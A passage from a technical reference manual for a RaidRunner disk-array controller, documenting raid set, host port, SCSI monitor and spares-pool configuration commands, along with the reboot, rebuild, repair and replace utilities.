        • Backends: the list of the raid set's backends. Backends can either be disks or other raid sets.
        • Backendsize: the size (in 512 byte blocks) of the raid set backends
        • Bootmode: the boot mode of the raid set. It can either be autoboot or manual. For the former, when the RaidRunner boots, the raid set is automatically made available on the host interface specified and in the later case, it must be manually made available.
        • State : this is the State of the raid set. The state of a raid set can either be active or inactive. If active, then the raid set's data is available for access. If inactive, then data on the raid set is not avail- able and hence the raid set is in a quiescent state.
        • ZoneioUsage: this is a flag to indicate to the cache filesystem that all I/O to this raid set be optimized for backend reads and writes based on the backends zone (notch) pages.
        • SparesUsage: this is a flag to indicate whether the raid set is to use spares. It's value can be either on or off.
        • QueueLen: this is the maximum number of requests than can be put in an io queue associated with each backend of the raid set. It's value must be 1 or greater.
      • Spares Pool: A spares pool can be established on a RaidRunner which provides a pool of disks for use by running raid sets which suffer a backend (disk) failure. Each disk in the spool may be either hot or warm. Hot disks are those that are immediately available i.e spun up. Warm disks are those that require spinning-up prior to use. As different raid sets may use different backend (disk) sizes, the spares pool must know the size of each disk in the pool. If the RaidRunner has more than one controller, then the usage of a spare can be restricted to a specific controller. Given a spare is available to a given controller, then the spare is allocated (rconf -repair command based on the following priority - hot spares of the same size on the same rank, hot spares of the same size on another rank, warm spares of the same size on the same rank, warm spares of the same size on another rank, hot spares of a larger size on the same rank, etc.
      • The rank is the SCSI ID of the device.
      • Host Port SCSI ID Assignment: On each controller in a RaidRunner there are a number of Host Ports through which data on the RaidRunner is accessed. As this host port is effectively a SCSI device then it has to have a SCSI ID assigned to it. There are two methods to assign a SCSI ID to a host port. The first uses a physical selector switch (usually providing selections from 0 to 16) and the second is to internally configure the host port's SCSI ID in the non-volatile raid configuration area - the hconf configuration command performs this assignment.
      • SCSI Monitor: On each controller in a RaidRunner one or more Monitors (smon) can be set up to run on a specified host port. This monitor allows a program on a host system to send RaidRunner commands which will be executed in a husky subshell as well as transfer of files to and from the RaidRunner. This monitor simulates a 32K "disk" on a given SCSI ID (as set up by the hconf command or selector switch) and SCSI LUN (which is set up using the mconf command). Execution of commands and file transfers are effected by reading from and writing to specific block locations on the "disk". The reads and writes are to follow a specific protocol based on the block locations and order of the reads and writes. See the smon for details of this protocol. As different systems use specific blocknumbers for their own internal use (eg block number 0 is typically used for disk labelling) writes to any block not used by the protocol are preserved for subsequent reads. Up to 16 blocks are preserved in the raid configuration area and are re-read by smon at boot time so data is preserved. If more than 16 blocks are written to, then this data is silently discarded. The block numbers used in the smon protocol can be changed to suit different systems which may use the default protocol block numbers. By default, the SCSI monitor will always start at boot time, even if the raid configuration area has just been initialized or is corrupt. RaidRunner model specific defaults for the host port, SCSI ID and SCSI LUN for the monitor are compiled into the RaidRunner binary. To prevent the scsi monitor from automatically executing at boot time the monitor will have to be specifically deleted from the controller using the mconf -delete option.
    • Manual Backend Reconstruction: Raid types 1, 3 and 5 are resistant to a single backend device failure. That is, the raid set's data is still available even if one of it's backends fail. Should a subsequent failure occur on a different backend then the raid set's data will be inaccessible. When a backend device does fail, the RaidRunner disengages that device from the raid set. To replace a failed backend of a type 1, 3 or 5 raid set, first physically correct the failure (eg replace and test the faulty disk), then engage the backend in write-only mode and read the entire raid set from the repair entry point. This will result in the reconstruction raid set's data and parity (if appropriate) onto the replaced backend. We engage the backend in write-only access mode to prevent the raid set from reading from this drive during the reconstruction process as data on this backend is incomplete. Once we have reconstructed the data on the replaced backend (i.e the read has completed), we then set the backend's access mode to be the access mode of the raid set and thus we now have a "complete" raid set. This reconstruction of data is passive, in that the raid set is still "running" during the reconstruction, although it will be running slowly.
    • Automatic Backend Reconstruction: In the case of either a type 1, 3 or 5 raid set, a single backend device failure can result in the automatic replacement of the failed backend and subsequent reconstruction of the raid set. This is accomplished by specifying a husky script to execute when a backend failure occurs - see autorepair. When a backend failure occurs, the backend is disengaged from the raid set, and the husky script, if specified, is executed. The script typically allocates a disk from the spares pool, engages it to the raid set in write-only access mode, then reads the entire raid set (from the repair entry point) which reconstructs the raid set incorporating the new disk. Once complete, the disk's access mode is set to the access mode of the raid set.
    • If, during the reconstruction phase (read of whole raid set) the newly engaged backend fails, the raid set's data is still available. All the RaidRunner will do, is disengage the backend and execute the script again. It will continue to do this until no more spares are available. Alternately, if another backend fails during the reconstruction, the raid set will fail.
    • Configuration Areas: Typically the RaidRunner stores multiple copies of the raid configuration area. Copies are stored on all disks (in /dev/hd/c.s.l/rconfig) that can be written to and in a section of flash ram (/dev/flash/conf) on the RaidRunner controller board itself. This is done for redundancy. Whenever the raid configuration area is updated, copies are written to each disk (in chip, scsi id (rank), lun order) then lastly to flashram. When the raid configuration is read, it groups, all configuration sources with identical configurations then works out the most "correct" configuration based on the following rules -
      1. If all sources are unreadable or corrupt then we used the compiled default scsi host id's and scsi monitor configurations.
      2. If all sources are the same (i.e one group) then this is the normal configuration.
      3. If we have two groups of configurations, then the group with the highest number of identical areas is used. If both groups have the same number of identical areas then we pick the group with the highest revision. If both groups have the same number of areas and the same revision, the first group is chosen.
      4. If we have three groups we choose the group with the highest number of identical areas. If two groups (or all three) meet this criteria we use the defined master configuration area - FLASH RAM.
      5. If we have more than three groups, we use the master configuration area - FLASH RAM. The rconf -check option is used to re-read all configuration areas has per the above rules, and if there is differences (more than 1 group) it selects the most "correct" configuration and re-writes it out to all areas. When the RaidRunner initially boots it typically only has access to the flashram (as the disks have not been bound into the filesystem yet), so it uses the configuration stored in flashram to start (in a spun-down state) the scsi monitor(s) and scsi target daemons (stargd's). It then binds in all disks and executes a rconf -check command and if it had to re-write the configuration AND flashram was not in the "correct" group it may reboot the RaidRunner (as now we can assume than the flashram area is now correct).
  • OPTIONS - all commands
    • -C: This option checks to see if any significant configuration change has been made since boot time to any raid set, host port, scsi monitor or spares pool configuration. An appropriate message is printed and a return status ($status) of 1 is returned if a change has occurred, else 0 for no change. Any modification, addition, deletion is considered to be a significant change. The only NON-significant change is the changing of state of a raid set.
    • -c: This option checks to see if any significant configuration change has been made since boot time to the relevant configuration area depending on the command invoked - rconf - raid sets, hconf - host ports (if not using physical selectors), etc. The return status is as per the -C option.
  • OPTIONS - mconf
    • Specifying no options is the same as specifying the -list option.
    • -delete: Delete the scsi monitor given controller number, hostport and SCSI LUN. This option takes three values, the controller number, host port and the SCSI LUN. The deletion of a monitor will not take effect until next boot of the RaidRunner.
    • -list: Print the controller/hostport assigned monitor SCSI LUN. If the optional controller number argument is given then print out the controller, hostport and assigned monitor SCSI LUNs for that controller. If a controller has no assigned monitor SCSI LUN, then a minus (-) character will be printed in place of the SCSI LUN. If an error occurs whilst opening or reading the RaidRunner configuration area, a RaidRunner model specific default with be listed.
    • -add: Set the monitor SCSI LUN on the given controller's host port. This option takes three mandatory values and one optional value. The first is the controller, the second the host port on that controller and the last is the SCSI LUN to assign the monitor. If the host port has not been assigned a SCSI ID, then the monitor will not be executed at boot. The optional value is a comma separated list of nine (9) numbers which change the default block protocol blocknumbers used by the SCSI monitor. See smon for details.
    • -sml: Print each scsi monitor's stored label information. The information is printed as follows - controller number, hostport number, number of stored blocks, followed by a colon, then the block addresses stored. Block number 0's at the end of this list mean that those available blocks have not been written to.
  • OPTIONS - hconf
    • Specifying no options is the same as specifying the -list option.
    • -delete: If the controller does not have a physical SCSI ID selector switch, specifying this option will delete the controller/hostport assigned SCSI ID. This option takes two values, the controller number and host- port. By deleting an assigned scsi id, no other program (eg scsi monitor or raid set) can appear on this host port.
    • -list: Print the controller/hostport assigned SCSI ID. If the optional controller and hostport arguments are given then print out the controller, hostport and assigned scsi id for that pair. If no arguments are given, then for each host port on each controller in the RaidRunner, print out the controller number, host port and SCSI ID assigned to that host port. If the controller does not have host port SCSI ID selector switches, then if a host port has not had a SCSI ID assigned to it, a minus (-) character will be printed in place of the SCSI ID. For example (of a RaidRunner with two controllers each of which have two host ports)
      0 0 2

      0 1 3

      1 0 -

      1 0 6
      Which shows that on the first controller (0), the first host port (0) has been assigned SCSI ID 2, the second port (1) has been assigned SCSI ID 3. The second controller (1) has NO SCSI ID assigned to it's first host port, and SCSI ID 6 assigned to it's port. If an error occurs whilst opening or reading the RaidRunner configuration area, a RaidRunner model specific default with be listed.
    • -modify: If the controller does not have a physical SCSI ID selector switch, specifying this option will set the SCSI ID on the given controller's host port. This option takes three values. The first is the controller, the second the host port on that controller and the last is the SCSI ID to assign. You cannot set a host port's SCSI ID if any raid set which uses that port is active.
  • OPTIONS - rconf
    • Any size sub-options (i.e raidsize, cache, iosize, backendsize) can use the suffix values. Specifying no options is the same as specifying the -list option.
    • -add: Add a raid set on the RaidRunner. Sub-options are -
    • -type: Specify the raid type. This option takes values of either 0, 1, 3 or 5.
    • -name: Specify the raid name. A name must be alphanumeric, with a maximum of 32 characters and start with an alphabetic character.
    • -iomode: Specify the raid set's io mode. This option takes values of either RW, RD or WR for read-write, read-only or write-only respectively.
    • -size Specify the raid set's size. This is the size of the raid set in 512 byte blocks. It must be a multiple of the -iosize value. If it is not then it will be automatically adjusted to be so and a message (not error) will be printed. In the case of raid type 3 the size must be a multiple of the -iosize value multiplied by the number of data backends in the raid set.
    • -iosize: Specify the raid set's chunksize in bytes. All reads and writes on the raid set will be in multiples of this size. When cache is used, this is also the size of the cache buffers created (for Raid type 3 the cache buffer size is the number of data backends times this value). The RaidRunner establishes a maximum number of 512-byte blocks that can be written to at any instant - see the write_limit internal variable (internals). Accordingly iosize is limited to ensure that at least two of these buffers will fit into this "writable" portion of cache.
    • -hostif: Specify the raid set's host interface(s). The host interface is the device though which the raid set's data is externally accessed. A host interface is defined by the quartet - master/slave flag (mflag), controller, hostport and scsi lun. Where
      • mflag: is a target access flag - master(M): full access, slave(S): limited access
      • controller: is the controller on which the raid set is to run
      • hostport: is the host port a raid set's IO is to be directed
      • scsilun: is the scsi lun that the raid set propagates out the hostport
      The master/slave flag is either M for master, or S for slave mode. Multiple host interfaces are added by repeating this option.
  • -backendsize: Specify the size of the raid set's backends. This is the size, in 512 byte blocks, of the raid set's backends. This value is used when searching for backends in the spares pool.
  • -backends: Specify the raid set's backend devices in a comma separated list. A backend device of a raid set can be a disk or the frontend of another raid set. If it is a disk then it will have the format Dc.s.l where c is the channel, s is the scsi id (or rank) and l is the scsi lun of the disk. If it is a raid set, then it will have the format Rraidsetname where raidsetname is the name of the raid set.
  • -boot: Specify the raid set's boot mode. Values can either be auto or manual for autobooting or manual booting raids. This option is optional and the default bootmode is auto.
  • -cache: Specify the size, in bytes, of cache that should front-end the raid set. The default size is 0, which means that no cache will be used. The cache size must be a multiple of the raid set's iosize.
  • -stargs: Specify additional arguments to the stargd process when it is created for the given raid set. The arguments are to be enclosed in braces - {}, IE {-L 16 -I 512}
  • -state: Specify the initial state of the raid set. Values can either be active or inactive. This option is optional and default state is inactive.
  • -usezoneio: Set the zone io usage flag to either on or off. If on, then the cache filesystem will fragment write and read requests to suit the zone (notch) partitions on the backend disks.
  • -usespares: Set the spares usage flag to either on or off. If on, then a running raid set (1, 3 or 5) will, on an I/O error, attempt automatic spares allocation and reconstruction.
  • -qlen: Specify the maximum number of io requests that can be queued to a backend. The minimum is 1 and the default is 8.
  • -delete: Delete a specified raid set from the RaidRunner. The raid set must be inactive.
  • raidsetname: Specify the name of the raid set to delete.
  • -list: Print raid set configuration. If a raidsetname name is not specified, all raid set configurations are printed, one per line in the form (if verbose mode is not set (-v) - name type flags size iosize cachesize iomode qlen nhostifs hostifs backendsize backends [optional backend status]. Where the flags is a comma separated list from "Active", "Inactive", "Used", "Unused", "Autoboot", "Manboot" and "Usespares". When a raid set is first flagged to be active, then the "Used" flag is per- manently set. This knowledge that a raid set has been used at some time is used by other programs and utilities on the RaidRunner. nhostifs is the number of host interfaces to present hostifs is a comma separated list of host interface quartets of master/slave flag, controller, host port and scsi lun (each separated by a period). For example M0.0.4,S0.1.0 means two host interfaces - both on controller 0, one on port 0 with a scsi LUN of 4 and the other on port 1 with a scsi LUN of 0. The first is to be a master target which provides full access by the host, and the second is to be a slave which will advise on any host access that the target is spun down. The backends are a comma separated list of backends. If a backend has failed then a "- the spare back-end will also be suffixed. If multiple spare backends have been used (i.e the spares failed) then each failed backend will be suffixed with a (-)
    D0.2.0-,D1s2l0,D2.2.0,D3.2.0,D4.2.0

    • means that the backend D0.2.0 has failed and does not have a spare and the other backends are

    D1s2l0,D2.2.0,D3.2.0,D4.2.0.

    D0.2.0-D5.2.0,D1s2l0,D2.2.0,D3.2.0,D4.2.0

    means that the backend D0.2.0 has failed and the spare backend, D5.2.0, has replaced it and the other backends are D1s2l0,D2.2.0,D3.2.0,D4.2.0.

    D0.2.0-D5.2.0-,D1s2l0,D2.2.0,D3.2.0,D4.2.0

    means that the backend D0.2.0 has failed and the spare backend, D5.2.0, which replaced it has also failed and the other backends are D1.2.0,D2.2.0,D3.2.0,D4.2.0.

  • raidsetname: Print the configuration for only the specified raid set.
  • -modify: This command allows one to change the raid set's state, name, bootmode, iomode, host interface, spares usage, extra stargd args, cachesize or QueueLen. When specifying a state change, then no other modifications are allowed. To modify any of the preceding raid set attributes (except state), the raid set must be inactive. Sub-options are
  • -name: The name of the raid set to modify
  • -newname: The new name for the raid set. This new name must still be unique amongst the other defined raid sets.
  • -boot: Change the raid set's boot mode. Values can either be auto or manual for autobooting or manual booting raids.
  • -cache: Change the size, in bytes, of cache that should front-end the raid.
  • -hostif: Change the raid set's host interface(s). The host interface is the device though which the raid set's data is externally accessed. A host interface is defined by the quartet - master/slave flag (mflag), controller, hostport and scsi lun. Where mflag is a target access flag - master(M): full access, slave(S): limited access controller is the controller on which the raid set is to run hostport is the host port a raid set's IO is to be directed scsilun is the scsi lun that the raid set propagates out the hostport The master/slave flag is either M for master, or S for slave mode. Multiple host interfaces are added by repeating this option. Note you must specify all host interfaces required in the one command. Thus to delete a host interface you modify without that host interface option.
  • -iomode: Change the raid set's io mode. This option takes values of either RW, RD or WR for read-write, read-only or write-only respectively.
  • -qlen: Change the maximum number of io requests that can be queued to a backend.
  • -stargs: Specify additional arguments to the stargd process when it is created for the given raid set. The arguments are to be enclosed in braces - {}, IE {-L 16 -I 512}
  • -state: Change state of the raid set. Values can either be active or inactive.
  • -usespares: Set the spares usage flag to either on or off.
  • -rebuild: The rebuild option is used when a stored raid set configuration has been corrupted and that raid set had faulty backends optionally supplemented with spares. Normally, if the stored raid set configuration was corrupted in some way and it did not have any faulty drives then one would just delete the raid set and then add it. If any of the backends were faulty then we need to store this information in the newly re-created raid set configuration. The rebuild option does this. If the faulty backend did not use any spares, then the -rebuild option will just mark that backend faulty. If it did use spares, then repeated invocations of this command (with the -spare sub-option) will add spares as appropriate, marking the backend faulty and any previously configured spares faulty also. The last invocation with the -spare sub-option will add the spare as in use but not faulty. If the last spare was also faulty, then a final invocation without the -spare sub-option will mark that last spare faulty.
  • -name: The name of the raid set.
  • -drive: Specify the backend to rebuild. The backend specification takes the form of the index of the backend in the list of backends. The first backend in a raid set has the index 0.
  • -spar:e Optionally specify the spare device which is to be configured onto a backend. This device should already be in the spares pool and be unused. If no spares have been assigned to the backend, then the backend is marked faulty and the spare is added and marked as in use. If spares have been assigned to the backend, then the last spare is marked faulty and the additional spare is added and marked as in use.
  • -mkfaulty: The mkfaulty option is used to mark a particular backend as faulty. When a backend of a raid set which does not use spares fails, we need to update the RaidRunner configuration of this fact. This command's sub-options are the same (and have the same effect) as the rebuild command's sub-options excluding the -spare sub-option.
  • -repair: Reconfigure a raid set to replace a backend with a spare backend allocated from the spares pool. When the -action option is start then the depth of the new spare and the spare device name is printed. The depth is the number of spares allocated to that backend. When the first spare is allocated, then the depth will be 1. When the second is allocated then the depth is 2 and so on. The depth is used when re-engaging a spare which has just been reconstructed. If the depth is different after the reconstruction has occurred then we know that the spare has failed and another spare has been allocated so we wont attempt the re-engage.
  • -name The name of the raid set.
  • -drive Specify the backend to replace. The backend specification takes the form of the index of the backend in the list of backends. The first backend in a raid set has the index 0.
  • -action: Specify the repair action. Values are either start or finished. Normally, when a spare is allocated, the next steps are to reconstruct the data on that spare then re-engage the spare. If a failure occurs on the spare during reconstruction, then the spare should not be re-engaged. Thus, a raid set should know that a reconstruction is in process. Once the reconstruction is complete then the reconstruction knowledge is cleared. The start value will print out the depth of the newly allocated spare and the spare's device name. If no spares are available an error will be printed and the depth of the last spare for the backend will be printed only. The finished action checks the current depth of spares against a given depth and clears the reconstruction flag if the depth is the same (that is, the spare reconstructed correctly).
  • -depth: Specify the depth of the spare device when performing a finished action. A check is made to ensure the current depth of the backend is the same is the specified one. This essentially checks to see if another spare has been allocated on this backend during the reconstruction.
  • -replace: This command is used when we have physically repaired (or replaced) the original failed backend and we wish to re-integrate it back into the raid set. This is done by deallocating the current running spare and reconstructing the raid on the replaced original backend. This command is similar to the -repair: command except that the working spare is deallocated from the backend and returned to the spares pool PRIOR to the reconstruction. This way, if the newly replaced drive fails, we have a spare to reallocate.
  • -name: The name of the raid set.
  • -backend: The name of the backend device that is being re-integrated.
  • -action: Specify the replacement action. Values are either start or finished. When the start action is specified, the last spare on the backend is returned to the spares pool if it is in a working state. Then the current depth of spares on the backend and the backend's index into the last of backends (the raid set's drive number) is printed out. If a failure occurs on the backend during reconstruction, then the backend should not be re-engaged. Thus, a raid set should know that a reconstruction is in process. Once the reconstruction is complete then the reconstruction knowledge is cleared. The finished action checks the current depth of spares against the given depth and clears the reconstruction flag if the depth is the same (that is, the spare reconstructed correctly) and then releases any spares back to the spares pool (all these spares will be faulty). If the depth is different then the reconstruction has failed and an error message is printed and the spares are left alone. -depth Specify the depth of the spare devices when per- forming a finished action. A check is made to ensure the current depth of spares of the backend is the same is the specified one. This essentially checks to see if a spare has been allocated on this backend during the reconstruction.
  • -unrepair: Typically, when we repair a raid set using spares, we modify the raid set's configuration to indicate the faulty drive, the allocation of a spare and it's state of "under construction". We then perform the reconstruction, and on success we re-modify the configuration to clear the "under construction" state. IE a sequence of commands like -
    rconf -repair .. -action start ...

    • rebuild the raid set

    rconf -repair .. -action finish ...

    Now, if the spare we allocated is faulty or the reconstruction fails, we need to turn off the "under construction" state, deallocate the spare and re-mark the original failing drive as faulty (as well as the spare drive if it was faulty). The -unrepair option does this. The options are similar to the

  • -repair: options with the addition of the name of the originally faulty backend.
  • -name: The name of the raid set.
  • -drive: Specify the backend to unrepair. The backend specification takes the form of the index of the backend in the list of backends. The first backend in a raid set has the index 0.
  • -backend: The name of the backend device that is being un-repaired.
  • -depth: Specify the depth of the spare device as allocated in the original rconf -repair -action start command. This essentially checks to see if another spare has been allocated on this backend during the failed reconstruction or spare testing.
  • -init: Initialize the RaidRunner configuration area. With this option all raid set, host port, scsi monitor and spares spool configurations are initialized. The GLOBAL environment variables, and scsi monitor (smon) data blocks which are located in the Raid configuration area, will NOT be deleted. To enable at least one scsi monitor to come up, the scsi monitor lun and it's associated host port scsi id is initialized to a RaidRunner model specific default. Use this option with caution.
  • -fullinit: Initialize the RaidRunner configuration area. This option performs the same function as the -init option and additionally clears all GLOBAL environment variables and the scsi monitor (smon) data blocks.
  • -check: Cause the multiple configuration areas to be all re-read and, if different, re-written as per the raid configuration area multiple source rules. If more than one raid configuration area differs to the others AND the "correct" area does not include flashram, then rconf returns a non-zero exit status, if all areas are the same or all areas are unreadable (or corrupt) then rconf returns a zero exit status.
  • -validate: Perform a consistency check on the current raid sets, spares etc and print out any inconsistencies. If any inconsistencies occur messages will be printed and the return status of rconf will be 1. If no inconsistencies are present, then nothing will be printed and the return status will be NULL.
  • -size: Print the number of bytes actually used in the raid configuration store.
  • -syslog: Print any syslog entries stored in the configuration area. Notes that these entries will be deleted on an rconf -init or -fullinit.
  • -maxiochunk: Search through all raid sets currently configured and print, in 512-byte blocks, the maximum IO Chunk size of all raid sets.
  • -v: Set the verbose option. This option only effects the listing of Raid Sets. It prints additional detail when listing the Raid Sets.
  • OPTIONS - spool

    • Specifying no options is the same as specifying the -list option.

  • -add: Add a disk to the spares pool of the RaidRunner. Sub-options are -
  • -name the name of the disk. If the disk is already used by a raid set or is already in the spares pool, an error will be printed.
  • -backendsize: the size (in 512 byte blocks) of the added disk. This value can be in the form specified by suffix.
  • -type: the type of the spare. Spare devices can either be hot (spun up) or warm (spun down).
  • -delete: delete the specified spare from the spares pool. A check is made to see that the spare is not in use.
  • -list: Print out the current state of each spare in the pool. The format is
    Backend BackendSize hot|warm controller_no|Any Used|Unused Faulty|Working
 comments
  • Configuration Corruption: Under certain conditions, it is necessary to corrupt the RaidRunner configuration area. An example of this is a RaidRunner that has been configured in such a way that all memory is consumed and the RaidRunner will not respond to any commands either on the console or via the scsi monitor. Given there is not enough memory to delete raid sets or even execute the reboot process (or any other for that matter), then a command which corrupts all the RaidRunner configuration areas (and hence will prevent the automatic creation of raid sets at reboot - i.e the consumer of memory) and then immediately reboot's without using any additional memory will allow the user to reconfigure the RaidRunner when it has re-booted. The corrupt-config command performs this task.
    • RETURN VALUES: If an error occurs, the $status environment variable is set to 1, else null. When the configuration change options (-C or -c) are given, the return value ($status) will be 1 if a configuration has changed since boot else 0.
    • BUGS: Currently, if you duplicate sub-options within a command, the last occurrence will be the value set. For example if the command rconf -modify -name F -newname B -newname C -cache 1M -cache 2M is executed then the newname will be "C" and the cache size set to 2M (2 megabytes).
    • SEE ALSO: husky, autorepair, replace, suffix, setenv, unsetenv, printenv, smon

    • 13.72 REBOOT - exit K9 on target hardware + return to monitor

    • SYNOPSIS: reboot [-i] [-s] rboot [-i] [-s] rbootimed
    • DESCRIPTION: reboot abruptly leaves the K9 kernel (on target hardware) and either re-enters the underlying hardware monitor or re-initializes the K9 kernel. Aside from flushing the write cache and initialising the battery backed-up ram no cleanup is performed on K9 processes (no signals, no nothing). If no options are given then the reboot will NOT do any memory tests prior re-initialising the K9 kernel. If the -s option is given then memory tests will be performed prior to re-initialising the K9 kernel. During these memory tests, a spinning - is displayed on the RaidRunner's console. This indicates the memory test is executing. If you press the space key during this test, then you will drop into the underlying RaidRunner monitor. If the -i option is given then all I/O to the back-end drives will inhibited. That is, no spun-down drives will be started and no attempt to flush the cache is performed. rboot is an alias for reboot. rbootimed provides a special entry-point into the reboot process and is equivalent to calling reboot with the -i option. Unlike reboot, which is executed as a sub-process, rbootimed is interpreted via husky and immediately commences the reboot process and hence does not use any extra memory. This is useful when the RaidRunner has run out of memory and you need to reboot the RaidRunner into single user state. On simulation platforms such as Unix this command is not implemented (but typically the Unix "interrupt" signal has the similar effect of killing the Unix process containing the K9 simulation).

    13.73 REBUILD - raid set reconstruction utility

    • SYNOPSIS:
      • rebuild -d file -s size -b bufsize -D dno -R rname -n nbends -r rtype [-p pri] [-v] [-S sleep_period]
      • rebuild -d file -l [-v]
      • rebuild -L [-v]
    • DESCRIPTION: To reconstruct data onto a newly incorporated drive in a raid set, the raid set's repair entry point is to be completely read. Additionally the read must be in multiples of the raid set's bufsize and the last read must align to the end of the raid set (i.e cannot attempt to read past the end of the raid set). The rebuild utility performs this reconstruction. When rebuild starts, it allocates an internal buffer whose size is maximized to the available memory and which is a multiple of the given buffer size. The raid set's repair entry point is read via these large buffers and the last read is guaranteed to align to the end of the raid set. As rebuild reads from the raid set's repair entry point, a check is made to see if the backend that is being rebuilt is still engaged to the raid set, and if the backend has failed (disengaged from raid set) rebuild prints a message and returns an exit status of 2. If the raid set fails during reconstruction (a second backend fails) then rebuild prints a message and returns an exit status of 1. Rebuilds, by default, consume large amounts of RaidRunner resources which would result in a large reduction in RaidRunner I/O throughput (to the host). A priority can be given to the rebuild program to reduce this demand on resources. This priority ranges between 0 (use minimal resources) and 9 (use maximum resources available). Naturally by specifying a low priority, the time to complete a rebuild will increase. The current state of any completed or "in-progress" rebuild is recorded for informative uses. Up to 10 of these records are kept at any one time. If a new rebuild is requested and we have already used all 10 records, we find the first "inactive" (or completed) record and re-use that one. If all 10 records are currently marked "active" (which means that we currently have 10 rebuilds currently in progress), then no record of the new rebuild will be kept. These records are initialized at boot time.
    • OPTIONS
      • -d file: Specify the file to read. This is typically the repair entry point of the raid set.
      • -s size: Specify the raid set's size, in 512-byte blocks.
      • -b bufsize: Specify the raid set's IO chunksize - bufsize, in 512-byte blocks. In the case of a raid type 3, this should be the number of data drives times the size of the IO chunksize.
      • -n nbends: Specify the number of backends in the raid set. This is needed along with the bufsize option to ensure that the raid set's repair device is read in multiples of the raid set's stripe size.
      • -D dno: Specify the backend index (within the raid set) that is being rebuilt.
      • -R rname: Specify the name of the raid set that is being rebuilt. Specify the raid type of the raid set being rebuilt. Must be 1, 3 or 5.
      • -p pri: Specify a priority at which the rebuild is to be run at. The priority, pri, must be a number between 0 (lowest) and 9 (highest). When rebuild is executed by automatic or manual scripts an environment vari- able, RebuildPri, is checked to see what priority a raid set should be re-built. If this variable is not set, then the default priority is 5. See environ for details.
      • -S sleep_period: Specify a number of milliseconds to sleep between each reconstruct access of the raidset. The period, sleep_period, must be a number between 0 (no sleep) and 60000 (60 seconds). When rebuild is executed by automatic or manual scripts an environment variable, RebuildPri, is checked to see what sleep period a raid set should use. If this variable is not set, then the default period for the given priority is used. See environ for details.
      • -v: Set verbose mode. When rebuilding, if verbose mode is set, the current number of reads and total expected number of reads is printed for every 10 percent of the reconstruction completed. When printing the state a specific or all rebuilds, verbose mode will produce a long listing of the rebuild status.
      • -l: Print the current state of the specified rebuilding (-d) file.
        • By default the following colon separated fields are printed
        • the rebuild file (entry point to raid set repair device)
        • the size of the file (raid set) in 512 byte blocks
        • the IO chunksize of the file (raid set) in 512 byte blocks
        • the size of the buffer (in 512 byte blocks) being used for reading
        • the total number of reads needed to read the whole file
        • the current number of reads performed so far,
        • the priority of the rebuild
        • the number of milliseconds between each access to sleep
        • the state of the rebuild - either "active" or "complete" the error message that this rebuild failed on - set to "none" if the rebuild successfully completed.
        When verbose mode (-v) is set, the above is printed with appropriate labels.
    • -L: Print the rebuild status of ALL rebuilds in progress or completed (in the same form as for the -l option).
  • PRIORITY: The speed at which a rebuild occurs and impact it has on the system is determined by the priority and optional sleep period between accesses. When rebuild allocates the buffer to use it will limit this buffer's size to the maximum available contiguous memory segment or 2 Megabytes which ever is the lessor. The memory will then be scaled by pri + 1 / 10. That is, if you specify a priority of 0 then the buffer will be one tenth of the maximum buffer siz, if you specify a priority of 4 then it will be half. This resultant buffer size is then trimmed to ensure it is a multiple of a raid set's stripe size. Between each read/write access of the raid set's repair device, rebuild may sleep for a given period of milliseconds to reduce the overhead of the rebuild process. This sleep period may be given on the command line. If, not then the priority value is used to work out the period. The table below specifies what period is associated with which priority.
    • 0: 2000 milliseconds (2.00 seconds)
    • 1: 1750 milliseconds (1.75 seconds)
    • 2: 1500 milliseconds (1.50 seconds)
    • 3: 1250 milliseconds (1.25 seconds)
    • 4: 1000 milliseconds (1.00 seconds)
    • 5: 750 milliseconds (0.75 seconds)
    • 6: 500 milliseconds (0.50 seconds)
    • 7: 250 milliseconds (0.25 seconds)
    • 8: 100 milliseconds (0.10 seconds)
    • 9: 0 milliseconds (no sleep)
  • EXIT STATUS

    • The following exit values are returned:

  • 0: Successful completion.
  • 1: The raid set failed reconstruction. This means that the raid set has failed.
  • 2: The raid set's backend that is being rebuilt has failed. This means that the raid set is still valid.
    • SEE ALSO: raid1, raid3, raid5, repair, replace, environ

    • 13.74 REPAIR - script to allocate a spare to a raid set's failed backend

    • SYNOPSIS: repair raidsetname backend
    • DESCRIPTION: repair is a husky script which is used to allocate a spare drive to a failed backend of a raid set. This is typically done when a raid set has a failed backend and no spares were available at the time of failure and now you want to allocate the spare (as opposed to fixing the failed backend). After parsing it's arguments repair get's a spare backend (of appropriate type) from the spares pool. The spare drive is then engaged in write-only access mode in the raid set and a reconstruct of the raid occurs (read of the whole raid set). This read is from the raid file system repair entrypoint. Reading from this entrypoint causes a read of a block immediately followed by a write of that block. The read/write sequence is atomic (i.e is not interruptible). On successful completion of the reconstruction, the spare is then engaged in the correct iomode for the raid set. The process that reads the repair entrypoint is rebuild. This device reconstruction will take anywhere from 10 minutes to one and a half hours depending on both the size and speed of the backends and the amount of activity the host is generating. During device reconstruction, pairs of numbers will be printed indicating each 10% of data reconstructed. The pairs of numbers are separated by a slash character, the first number being the number of blocks reconstructed so far and the second being the number number of blocks to be reconstructed. Further status about the rebuild can be gained from running rebuild. Checks are made to ensure that the raid set is running, the spare works, and that there is no failure of the spare during reconstruction.
    • OPTIONS
      • raidsetname: The name of the raid set.
      • backend: The name of the failed backend which is being replaced by a spare.
    • SEE ALSO: rconf, rebuild

    13.75 REPLACE - script to restore a backend in a raid set

    • SYNOPSIS: replace raidsetname backend
    • DESCRIPTION: replace is a husky script which is used to reconfigure back in a physically repaired backend of a type 3 or 5 raid set. After parsing it's arguments replace does a quick read/write test of the specified backend to ensure it's working. If a working spare is currently running in place of the backend, it disengages it and returns it back to the spares pool. The backend drive is then engaged in write-only access mode in the raid set and a reconstruct of the raid occurs (read of the whole raid set). This read is from the raid file system repair entrypoint. Reading from this entrypoint causes a read of a block immediately followed by a write of that block. The read/write sequence is atomic (i.e is not interruptible). On successful completion of the reconstruction, the backend is then engaged in the correct iomode for the raid set and any other faulty spare backends that were associated with that backend are returned to the spares pool. The process that reads the repair entrypoint is rebuild. This device reconstruction will take anywhere from 10 minutes to one and a half hours depending on both the size and speed of the backends and the amount of activity the host is generating. During device reconstruction, pairs of numbers will be printed indicating each 10% of data reconstructed. The pairs of numbers are separated by a slash character, the first number being the number of blocks reconstructed so far and the second being the number number of blocks to be reconstructed. Further status about the rebuild can be gained from running rebuild. Checks are made to ensure that the raid set is running, the backend works, and that there is no failure of the backend during reconstruction.
    • OPTIONS
      • raidsetname: The name of the raid set.
      • backend: The name of the backend which is being restored.
    • SEE ALSO: rconf, rebuild

    13.76 RM - remove the file (or files)

    • SYNOPSIS: rm [-f] [ file ... ]
